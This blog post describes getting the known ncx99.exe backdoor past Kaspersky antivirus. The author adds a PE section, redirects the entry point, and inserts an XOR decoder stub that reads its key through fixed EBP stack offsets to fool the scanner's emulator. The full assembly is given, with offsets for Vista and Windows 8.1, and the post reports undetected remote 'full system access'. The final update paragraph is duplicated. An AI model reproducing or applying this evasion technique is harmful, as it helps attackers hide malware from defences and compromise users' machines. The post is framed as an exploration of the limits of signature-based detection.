One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.
I suspect to most this isn't anything new to
experienced testers. Given the limitations of even “smart” anti-virus products,
this type of issue is expected and will not be limited to any one AV vendor.
Nevertheless, I was curious to find out how
easy it is to out-smart an intelligent scanner in order to get known malware
past the scanner. Short answer; surprisingly easy.
The setup is a Windows Vista and Windows 8.1 VM
running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to
High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and
iChecker Technology enabled.
The malware is the venerable ncx99.exe. Others
have tried xor encoders and many other variants to bypass the scanner, without
success. So I thought I would take a different approach to find something
missing from the emulator used to get malware to unpack and expose itself;
finding that glitch in the Matrix.
I won't cover basic XOR encoders here; Google
is your friend if you wish to know.
Upon starting ncx99.exe in a debugger we notice
the following at the program entry point:
EAX 772AD3B7 kernel32.BaseThreadInitThunk
EDX 00404C00 ncx99-or.<ModuleEntryPoint>
ESP
0012FF8C
EBP
0012FF94
EIP 00404C00 ncx99-or.<ModuleEntryPoint>
The top of the stack looks like this:
0012FF8C
772AD3C9 RETURN to
kernel32.772AD3C9
0012FF90
7FFD5000
0012FF94
/0012FFD4
It turns out that the delta between ESP and EBP
is always the same (at least on my Vista VM; a little more on that later).
So let’s reference the XOR encoder and base
address indirectly based on the designed functionality of the stack rather than
computing it in the program. This way the emulator needs to already be aware of
this relationship; so is it? (I suspect you already know the answer!)
First, I modify the PE Header in the file to
point to a new code cave:
I created a new section with a base address of
0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to
accommodate this section. I then modify the Program Entry Point from 0x404c00
(in .text) to 0x413000 (in the new section) and ensure that .text is writeable.
Back in the debugger I then create the
following stub and save a new copy of the executable with these changes:
00413000 > 60 PUSHAD
00413001
9C PUSHFD
00413002
BB EA7ACE39 MOV
EBX,39CE7AEA # XOR key
00413007
53 PUSH EBX
00413008
BB 00104000 MOV
EBX,ncx99-ne.00401000 # Base addr for
xor
0041300D
53 PUSH EBX
0041300E
8B45 D0 MOV EAX,DWORD PTR
SS:[EBP-30] # get xor key
00413011
8B55 CC MOV EDX,DWORD PTR
SS:[EBP-34] # get base addr
00413014
83EA 04 SUB EDX,4
00413017
83C2 04 ADD EDX,4
0041301A
3102 XOR DWORD PTR
DS:[EDX],EAX # enc/dec dword
0041301C
83C2 05 ADD EDX,5
0041301F
4A DEC EDX
00413020
81FA 6CA74000 CMP
EDX,ncx99-ne.0040A76C # loc of last
dword
00413026
^7E F2 JLE SHORT
ncx99-ne.0041301A
00413028 58 POP EAX
00413029 58 POP EAX
00413028 58 POP EAX
00413029 58 POP EAX
0041302A 9D POPFD
0041302B 61 POPAD
0041302C -E9
CF1BFFFF JMP ncx99-ne.00404C00 # Execute orig code
The key trick is that we are pushing the key
and base address on the stack at 00413007 and 0041300D,
but then referencing them using EBP at 0041300E and 00413011
(without ever referencing or setting EBP beforehand; we just know it gets set
up like this by the OS).
So in the case of Vista, we have 8 bytes
followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44
bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30
and a further dword gives 0x34.
Next, we do the usual break on 00413028
(just after the encoder) and run the program to encode .text. We then save the
changes made between 00401000
and 0040A76C
(we are working on DWORDs). This new file, when run, will decode .text and then
run the decoded contents.
Passing through the AV shows no issues. Running
it creates a listener on 99/tcp which we can connect to in order to get full
system access. Success.
Next, I thought I would test the ability of the
AV to figure out known offsets. So rather than the non-explicit connection
between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.
I change the EBP offsets to the following;
correcting the stub offsets accordingly:
0041300E
8B4424 04 MOV EAX,DWORD PTR
SS:[ESP+4]
00413012
8B1424 MOV EDX,DWORD PTR
SS:[ESP]
This time the AV detects that it is ncx99; so
it looks like the emulator in the AV is stack aware.
Finally, I decided to test the approach on
Windows 8.1. In this case the stack is a bit different on entry, but the delta
is still consistent across reboots.
ESP 0013FF84
EBP 0013FF94
0013FF84
76444198 RETURN to
KERNEL32.76444198
0013FF88
7FFDF000
0013FF8C
76444170
KERNEL32.BaseThreadInitThunk
0013FF90
F5EE812D
0013FF94
/0013FFDC
A simple adjustment to the relative offsets
from EBP yields success:
0041300E
8B45 C8 MOV EAX,DWORD PTR
SS:[EBP-38]
00413011
8B55 C4 MOV EDX,DWORD PTR
SS:[EBP-3C]
i.e. a functional malware that is known to the
AV product but not detected by it.
This code can probably be simplified (some null
actions, etc, from previous tweaks) and made version agnostic; but I will leave
that as an exercise for the reader as this was only meant to be a PoC.
I also tried this technique (but using some
spare space at the end of the .text section) on some other programs including
netpass.exe and all became undetectable by the AV file scanner. Yey.
The take for me is that signature based
detection is good for low-hanging fruit; stuff that is already known or
similar. However, once you start customising stuff it can rapidly lose its
effectiveness. Sometimes that customisation may only need to be a simple tweak,
as in this example.
Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here
Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here